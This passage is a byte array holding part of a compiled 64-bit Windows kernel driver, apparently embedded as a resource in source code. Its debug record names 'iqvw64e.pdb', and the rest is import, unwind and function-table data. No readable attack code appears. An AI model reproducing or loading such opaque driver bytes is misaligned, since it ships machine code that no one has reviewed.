0x00, 0x00, 0xe2, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfa, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbc, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xda, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8a, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd6, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe2, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xec, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x27, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x27, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x27, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf4, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc4, 0x70, 0x76, 0x4c, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x00, 0x00, 0x6c, 0x61, 0x00, 0x00, 0x6c, 0x4b, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, 0x81, 0x05, 0x31, 0xf5, 0xa9, 0xba, 0x80, 0x49, 0xa9, 0xcc, 0x67, 0x19, 0x55, 0x15, 0x68, 0xff, 0x01, 0x00, 0x00, 0x00, 0x64, 0x3a, 0x5c, 0x73, 0x61, 0x6e, 0x64, 0x62, 0x6f, 0x78, 0x5c, 0x31, 0x35, 0x34, 0x31, 0x36, 0x37, 0x5c, 0x73, 0x64, 0x6b, 0x5c, 0x6e, 0x61, 0x6c, 0x5c, 0x73, 0x72, 0x63, 0x5c, 0x77, 0x69, 0x6e, 0x6e, 0x74, 0x5f, 0x77, 0x64, 0x6d, 0x5c, 0x64, 0x72, 0x69, 0x76, 0x65, 0x72, 0x5c, 0x6f, 0x62, 0x6a, 0x66, 0x72, 0x65, 0x5f, 0x77, 0x6e, 0x65, 0x74, 0x5f, 0x41, 0x4d, 0x44, 0x36, 0x34, 0x5c, 0x61, 0x6d, 0x64, 0x36, 0x34, 0x5c, 0x69, 0x71, 0x76, 0x77, 0x36, 0x34, 0x65, 0x2e, 0x70, 0x64, 0x62, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, 0x06, 0x52, 0x02, 0x30, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x15, 0x05, 0x00, 0x15, 0x74, 0x09, 0x00, 0x10, 0x34, 0x08, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x02, 0x01, 0x00, 0x02, 0x30, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x10, 0x20, 0x5d, 0x00, 0x33, 0x20, 0x5d, 0x00, 0x2c, 0x62, 0x00, 0x00, 0x21, 0x04, 0x02, 0x00, 0x04, 0x74, 0x11, 0x00, 0x10, 0x20, 0x5d, 0x00, 0x33, 0x20, 0x5d, 0x00, 0x2c, 0x62, 0x00, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x0b, 0x34, 0x10, 0x00, 0x07, 0xc2, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x11, 0x05, 0x00, 0x11, 0x74, 0x0b, 0x00, 0x0c, 0x34, 0x0a, 0x00, 0x04, 0x62, 0x00, 0x00, 0x01, 0x09, 0x03, 0x00, 0x09, 0x01, 0x26, 0x00, 0x02, 0x30, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x30, 0x1d, 0x00, 0x00, 0x47, 0x1d, 0x00, 0x00, 0x80, 0x62, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x74, 0x09, 0x00, 0x30, 0x1d, 0x00, 0x00, 0x47, 0x1d, 0x00, 0x00, 0x80, 0x62, 0x00, 0x00, 0x01, 0x0e, 0x03, 0x00, 0x0e, 0x34, 0x08, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x2a, 0x02, 0x00, 0x1b, 0x01, 0x87, 0x00, 0x21, 0x00, 0x00, 0x00, 0xf0, 0x1f, 0x00, 0x00, 0xb4, 0x20, 0x00, 0x00, 0xf4, 0x62, 0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x64, 0x0e, 0x00, 0xf0, 0x1f, 0x00, 0x00, 0xb4, 0x20, 0x00, 0x00, 0xf4, 0x62, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xf0, 0x1f, 0x00, 0x00, 0xb4, 0x20, 0x00, 0x00, 0xf4, 0x62, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x64, 0x0e, 0x00, 0xf0, 0x1f, 0x00, 0x00, 0xb4, 0x20, 0x00, 0x00, 0xf4, 0x62, 0x00, 0x00, 0x01, 0x1f, 0x0b, 0x00, 0x1f, 0xd4, 0x09, 0x00, 0x18, 0xc4, 0x0a, 0x00, 0x13, 0x74, 0x0f, 0x00, 0x0e, 0x54, 0x0d, 0x00, 0x09, 0x34, 0x0c, 0x00, 0x04, 0xa2, 0x00, 0x00, 0x01, 0x11, 0x05, 0x00, 0x11, 0x74, 0x04, 0x00, 0x0c, 0x34, 0x09, 0x00, 0x04, 0x42, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xd0, 0x21, 0x00, 0x00, 0xfe, 0x21, 0x00, 0x00, 0x64, 0x63, 0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0xe4, 0x04, 0x00, 0xd0, 0x21, 0x00, 0x00, 0xfe, 0x21, 0x00, 0x00, 0x64, 0x63, 0x00, 0x00, 0x21, 0x1d, 0x08, 0x00, 0x1d, 0xe4, 0x04, 0x00, 0x0f, 0xd4, 0x05, 0x00, 0x08, 0x74, 0x07, 0x00, 0x04, 0x34, 0x0a, 0x00, 0xd0, 0x21, 0x00, 0x00, 0xfe, 0x21, 0x00, 0x00, 0x64, 0x63, 0x00, 0x00, 0x01, 0x16, 0x07, 0x00, 0x16, 0xc4, 0x06, 0x00, 0x12, 0x64, 0x08, 0x00, 0x0e, 0x54, 0x09, 0x00, 0x07, 0xa2, 0x00, 0x00, 0x01, 0x2a, 0x0b, 0x00, 0x2a, 0x74, 0x0b, 0x00, 0x1d, 0x34, 0x08, 0x00, 0x13, 0xc4, 0x06, 0x00, 0x0e, 0x64, 0x0a, 0x00, 0x09, 0x54, 0x09, 0x00, 0x04, 0x62, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x16, 0x24, 0x00, 0x00, 0xc4, 0x63, 0x00, 0x00, 0x21, 0x2a, 0x08, 0x00, 0x2a, 0x74, 0x09, 0x00, 0x1d, 0x34, 0x06, 0x00, 0x0a, 0x64, 0x08, 0x00, 0x05, 0x54, 0x07, 0x00, 0x00, 0x24, 0x00, 0x00, 0x16, 0x24, 0x00, 0x00, 0xc4, 0x63, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xd0, 0x24, 0x00, 0x00, 0x3d, 0x25, 0x00, 0x00, 0xf8, 0x63, 0x00, 0x00, 0x21, 0x0f, 0x06, 0x00, 0x0f, 0xc4, 0x0a, 0x00, 0x0a, 0x74, 0x0f, 0x00, 0x05, 0x64, 0x0e, 0x00, 0xd0, 0x24, 0x00, 0x00, 0x3d, 0x25, 0x00, 0x00, 0xf8, 0x63, 0x00, 0x00, 0x01, 0x23, 0x0b, 0x00, 0x23, 0xf4, 0x07, 0x00, 0x18, 0xe4, 0x08, 0x00, 0x13, 0xd4, 0x09, 0x00, 0x0e, 0x54, 0x0d, 0x00, 0x09, 0x34, 0x0c, 0x00, 0x04, 0xa2, 0x00, 0x00, 0x21, 0x46, 0x06, 0x00, 0x46, 0x64, 0x05, 0x00, 0x3d, 0x34, 0x06, 0x00, 0x00, 0x74, 0x04, 0x00, 0x00, 0x27, 0x00, 0x00, 0x12, 0x27, 0x00, 0x00, 0x54, 0x64, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x12, 0x27, 0x00, 0x00, 0x54, 0x64, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x74, 0x04, 0x00, 0x00, 0x27, 0x00, 0x00, 0x12, 0x27, 0x00, 0x00, 0x54, 0x64, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x21, 0x14, 0x06, 0x00, 0x14, 0x64, 0x06, 0x00, 0x0d, 0x34, 0x0b, 0x00, 0x00, 0x74, 0x05, 0x00, 0x70, 0x28, 0x00, 0x00, 0x79, 0x28, 0x00, 0x00, 0xa4, 0x64, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x70, 0x28, 0x00, 0x00, 0x79, 0x28, 0x00, 0x00, 0xa4, 0x64, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x74, 0x05, 0x00, 0x70, 0x28, 0x00, 0x00, 0x79, 0x28, 0x00, 0x00, 0xa4, 0x64, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x50, 0x29, 0x00, 0x00, 0x84, 0x29, 0x00, 0x00, 0x08, 0x65, 0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x34, 0x06, 0x00, 0x50, 0x29, 0x00, 0x00, 0x84, 0x29, 0x00, 0x00, 0x08, 0x65, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x84, 0x29, 0x00, 0x00, 0x9f, 0x29, 0x00, 0x00, 0xf4, 0x64, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x64, 0x08, 0x00, 0x84, 0x29, 0x00, 0x00, 0x9f, 0x29, 0x00, 0x00, 0xf4, 0x64, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x34, 0x06, 0x00, 0x50, 0x29, 0x00, 0x00, 0x84, 0x29, 0x00, 0x00, 0x08, 0x65, 0x00, 0x00, 0x01, 0x16, 0x07, 0x00, 0x16, 0xc4, 0x04, 0x00, 0x11, 0x74, 0x09, 0x00, 0x0c, 0x54, 0x07, 0x00, 0x04, 0x42, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x50, 0x2a, 0x00, 0x00, 0x70, 0x2a, 0x00, 0x00, 0x58, 0x65, 0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x34, 0x07, 0x00, 0x50, 0x2a, 0x00, 0x00, 0x70, 0x2a, 0x00, 0x00, 0x58, 0x65, 0x00, 0x00, 0x21, 0x1c, 0x04, 0x00, 0x1c, 0x64, 0x08, 0x00, 0x05, 0x34, 0x07, 0x00, 0x50, 0x2a, 0x00, 0x00, 0x70, 0x2a, 0x00, 0x00, 0x58, 0x65, 0x00, 0x00, 0x01, 0x0c, 0x03, 0x00, 0x0c, 0x74, 0x09, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x14, 0x05, 0x00, 0x14, 0x74, 0x13, 0x00, 0x0b, 0x34, 0x12, 0x00, 0x07, 0xe2, 0x00, 0x00, 0x01, 0x24, 0x0a, 0x00, 0x24, 0x74, 0x0f, 0x00, 0x16, 0x64, 0x10, 0x00, 0x12, 0x54, 0x11, 0x00, 0x0e, 0x34, 0x12, 0x00, 0x0a, 0x01, 0x13, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0xd4, 0x40, 0x00, 0x00, 0x2d, 0x00, 0x00, 0x19, 0x2d, 0x00, 0x00, 0xf0, 0x65, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x19, 0x2d, 0x00, 0x00, 0x60, 0x2e, 0x00, 0x00, 0xc8, 0x65, 0x00, 0x00, 0x21, 0x16, 0x04, 0x00, 0x16, 0x64, 0x47, 0x00, 0x08, 0xf4, 0x3e, 0x00, 0x19, 0x2d, 0x00, 0x00, 0x60, 0x2e, 0x00, 0x00, 0xc8, 0x65, 0x00, 0x00, 0x21, 0xef, 0x0c, 0x00, 0xef, 0xd4, 0x40, 0x00, 0x1b, 0xe4, 0x3f, 0x00, 0x14, 0xc4, 0x41, 0x00, 0x0c, 0x74, 0x42, 0x00, 0x08, 0x54, 0x46, 0x00, 0x04, 0x34, 0x45, 0x00, 0x00, 0x2d, 0x00, 0x00, 0x19, 0x2d, 0x00, 0x00, 0xf0, 0x65, 0x00, 0x00, 0x01, 0x19, 0x02, 0x00, 0x0a, 0x01, 0x43, 0x00, 0x01, 0x27, 0x06, 0x00, 0x27, 0x74, 0x17, 0x00, 0x1f, 0x34, 0x16, 0x00, 0x0a, 0x01, 0x13, 0x00, 0x21, 0x00, 0x00, 0x00, 0x40, 0x32, 0x00, 0x00, 0xca, 0x32, 0x00, 0x00, 0x5c, 0x66, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xca, 0x32, 0x00, 0x00, 0xf5, 0x32, 0x00, 0x00, 0x48, 0x66, 0x00, 0x00, 0x21, 0x1d, 0x08, 0x00, 0x1d, 0xc4, 0x0f, 0x00, 0x18, 0x74, 0x10, 0x00, 0x10, 0x64, 0x15, 0x00, 0x08, 0x54, 0x14, 0x00, 0xca, 0x32, 0x00, 0x00, 0xf5, 0x32, 0x00, 0x00, 0x48, 0x66, 0x00, 0x00, 0x21, 0x08, 0x02, 0x00, 0x08, 0x34, 0x13, 0x00, 0x40, 0x32, 0x00, 0x00, 0xca, 0x32, 0x00, 0x00, 0x5c, 0x66, 0x00, 0x00, 0x01, 0x1e, 0x06, 0x00, 0x1e, 0xe4, 0x0d, 0x00, 0x1a, 0xd4, 0x0e, 0x00, 0x0a, 0x01, 0x11, 0x00, 0x21, 0x00, 0x04, 0x00, 0x00, 0x74, 0x0b, 0x00, 0x00, 0x64, 0x0a, 0x00, 0xd0, 0x34, 0x00, 0x00, 0xdb, 0x34, 0x00, 0x00, 0xa0, 0x66, 0x00, 0x00, 0x21, 0x15, 0x06, 0x00, 0x15, 0x74, 0x0b, 0x00, 0x08, 0x64, 0x0a, 0x00, 0x04, 0x54, 0x09, 0x00, 0xd0, 0x34, 0x00, 0x00, 0xdb, 0x34, 0x00, 0x00, 0xa0, 0x66, 0x00, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x0b, 0x34, 0x08, 0x00, 0x07, 0x62, 0x00, 0x00, 0x21, 0x00, 0x04, 0x00, 0x00, 0x74, 0x0b, 0x00, 0x00, 0x64, 0x0a, 0x00, 0xd0, 0x35, 0x00, 0x00, 0xdb, 0x35, 0x00, 0x00, 0xe0, 0x66, 0x00, 0x00, 0x21, 0x13, 0x06, 0x00, 0x13, 0x74, 0x0b, 0x00, 0x08, 0x64, 0x0a, 0x00, 0x04, 0x54, 0x09, 0x00, 0xd0, 0x35, 0x00, 0x00, 0xdb, 0x35, 0x00, 0x00, 0xe0, 0x66, 0x00, 0x00, 0x01, 0x0b, 0x03, 0x00, 0x0b, 0x34, 0x08, 0x00, 0x07, 0x62, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xd0, 0x36, 0x00, 0x00, 0x0e, 0x37, 0x00, 0x00, 0x10, 0x67, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x34, 0x0a, 0x00, 0xd0, 0x36, 0x00, 0x00, 0x0e, 0x37, 0x00, 0x00, 0x10, 0x67, 0x00, 0x00, 0x01, 0x10, 0x03, 0x00, 0x10, 0x74, 0x0b, 0x00, 0x04, 0x62, 0x00, 0x00, 0x01, 0x22, 0x09, 0x00, 0x22, 0x74, 0x0b, 0x00, 0x1d, 0x64, 0x0a, 0x00, 0x10, 0x54, 0x09, 0x00, 0x09, 0x34, 0x08, 0x00, 0x04, 0x62, 0x00, 0x00, 0x01, 0x23, 0x0b, 0x00, 0x23, 0xc4, 0x07, 0x00, 0x1e, 0x74, 0x08, 0x00, 0x13, 0x64, 0x09, 0x00, 0x0e, 0x54, 0x0a, 0x00, 0x09, 0x34, 0x0f, 0x00, 0x04, 0xa2, 0x00, 0x00, 0x01, 0x11, 0x05, 0x00, 0x11, 0x74, 0x06, 0x00, 0x0c, 0x34, 0x0b, 0x00, 0x04, 0x62, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x90, 0x39, 0x00, 0x00, 0xc6, 0x39, 0x00, 0x00, 0x84, 0x67, 0x00, 0x00, 0x21, 0x08, 0x02, 0x00, 0x08, 0x64, 0x10, 0x00, 0x90, 0x39, 0x00, 0x00, 0xc6, 0x39, 0x00, 0x00, 0x84, 0x67, 0x00, 0x00, 0x01, 0x19, 0x06, 0x00, 0x19, 0x74, 0x0f, 0x00, 0x14, 0x34, 0x15, 0x00, 0x0c, 0x01, 0x11, 0x00, 0x01, 0x22, 0x0e, 0x00, 0x22, 0xd4, 0x2b, 0x00, 0x1e, 0xc4, 0x2c, 0x00, 0x1a, 0x74, 0x2d, 0x00, 0x16, 0x64, 0x2e, 0x00, 0x12, 0x54, 0x2f, 0x00, 0x0e, 0x34, 0x30, 0x00, 0x0a, 0x01, 0x31, 0x00, 0x01, 0x11, 0x05, 0x00, 0x11, 0x74, 0x09, 0x00, 0x0c, 0x34, 0x08, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x0a, 0x02, 0x00, 0x0a, 0x32, 0x06, 0x30, 0x01, 0x0e, 0x02, 0x00, 0x0e, 0x72, 0x0a, 0x30, 0x01, 0x24, 0x06, 0x00, 0x24, 0x74, 0xa3, 0x00, 0x20, 0x34, 0xa2, 0x00, 0x0a, 0x01, 0x9f, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcd, 0x5d, 0x20, 0xd2, 0x66, 0xd4, 0xff, 0xff, 0x32, 0xa2, 0xdf, 0x2d, 0x99, 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x00, 0x00, 0x6a, 0x10, 0x00, 0x00, 0xd8, 0x61, 0x00, 0x00, 0x70, 0x10, 0x00, 0x00, 0xbb, 0x10, 0x00, 0x00, 0xe0, 0x61, 0x00, 0x00, 0xd0, 0x10, 0x00, 0x00, 0x1b, 0x11, 0x00, 0x00, 0xe8, 0x61, 0x00, 0x00, 0x30, 0x11, 0x00, 0x00, 0xe3, 0x11, 0x00, 0x00, 0xf0, 0x61, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0xc0, 0x12, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x10, 0x13, 0x00, 0x00, 0x98, 0x13, 0x00, 0x00, 0x38, 0x62, 0x00, 0x00, 0xa0, 0x13, 0x00, 0x00, 0x34, 0x1a, 0x00, 0x00, 0x40, 0x62, 0x00, 0x00, 0x40, 0x1a, 0x00, 0x00, 0xf0, 0x1b, 0x00, 0x00, 0x50, 0x62, 0x00, 0x00, 0x30, 0x1d, 0x00, 0x00, 0x47, 0x1d, 0x00, 0x00, 0x80, 0x62, 0x00, 0x00, 0x47, 0x1d, 0x00, 0x00, 0x68, 0x1d, 0x00, 0x00, 0x6c, 0x62, 0x00, 0x00, 0x68, 0x1d, 0x00, 0x00, 0x7e, 0x1d, 0x00, 0x00, 0x5c, 0x62, 0x00, 0x00, 0xa0, 0x1d, 0x00, 0x00, 0xb6, 0x1d, 0x00, 0x00, 0x8c, 0x62, 0x00, 0x00, 0x50, 0x1e, 0x00, 0x00, 0x72, 0x1e, 0x00, 0x00, 0x94, 0x62, 0x00, 0x00, 0x80, 0x1e, 0x00, 0x00, 0x9f, 0x1e, 0x00, 0x00, 0x9c, 0x62, 0x00, 0x00, 0x10, 0x1f, 0x00, 0x00, 0xb6, 0x1f, 0x00, 0x00, 0xa4, 0x62, 0x00, 0x00, 0xf0, 0x1f, 0x00, 0x00, 0xb4, 0x20, 0x00, 0x00, 0xf4, 0x62, 0x00, 0x00, 0xb4, 0x20, 0x00, 0x00, 0xef, 0x20, 0x00, 0x00, 0xe0, 0x62, 0x00, 0x00, 0xef, 0x20, 0x00, 0x00, 0x0d, 0x21, 0x00, 0x00, 0xd0, 0x62, 0x00, 0x00, 0x0d, 0x21, 0x00, 0x00, 0x4b, 0x21, 0x00, 0x00, 0xbc, 0x62, 0x00, 0x00, 0x4b, 0x21, 0x00, 0x00, 0x5b, 0x21, 0x00, 0x00, 0xac, 0x62, 0x00, 0x00, 0x70, 0x21, 0x00, 0x00, 0xbd, 0x21, 0x00, 0x00, 0x10, 0x63, 0x00, 0x00, 0xd0, 0x21, 0x00, 0x00, 0xfe, 0x21, 0x00, 0x00, 0x64, 0x63, 0x00, 0x00, 0xfe, 0x21, 0x00, 0x00, 0x23, 0x23, 0x00, 0x00, 0x44, 0x63, 0x00, 0x00, 0x23, 0x23, 0x00, 0x00, 0x51, 0x23, 0x00, 0x00, 0x30, 0x63, 0x00, 0x00, 0x51, 0x23, 0x00, 0x00, 0x6a, 0x23, 0x00, 0x00, 0x20, 0x63, 0x00, 0x00, 0x70, 0x23, 0x00, 0x00, 0xf2, 0x23, 0x00, 0x00, 0x78, 0x63, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x16, 0x24, 0x00, 0x00, 0xc4, 0x63, 0x00, 0x00, 0x16, 0x24, 0x00, 0x00, 0xba, 0x24, 0x00, 0x00, 0xa4, 0x63, 0x00, 0x00, 0xba, 0x24, 0x00, 0x00, 0xbf, 0x24, 0x00, 0x00, 0x94, 0x63, 0x00, 0x00, 0xd0, 0x24, 0x00, 0x00, 0x3d, 0x25, 0x00, 0x00, 0xf8, 0x63, 0x00, 0x00, 0x3d, 0x25, 0x00, 0x00, 0xdc, 0x26, 0x00, 0x00, 0xdc, 0x63, 0x00, 0x00, 0xdc, 0x26, 0x00, 0x00, 0xfa, 0x26, 0x00, 0x00, 0xcc, 0x63, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x12, 0x27, 0x00, 0x00, 0x54, 0x64, 0x00, 0x00, 0x12, 0x27, 0x00, 0x00, 0x5b, 0x27, 0x00, 0x00, 0x40, 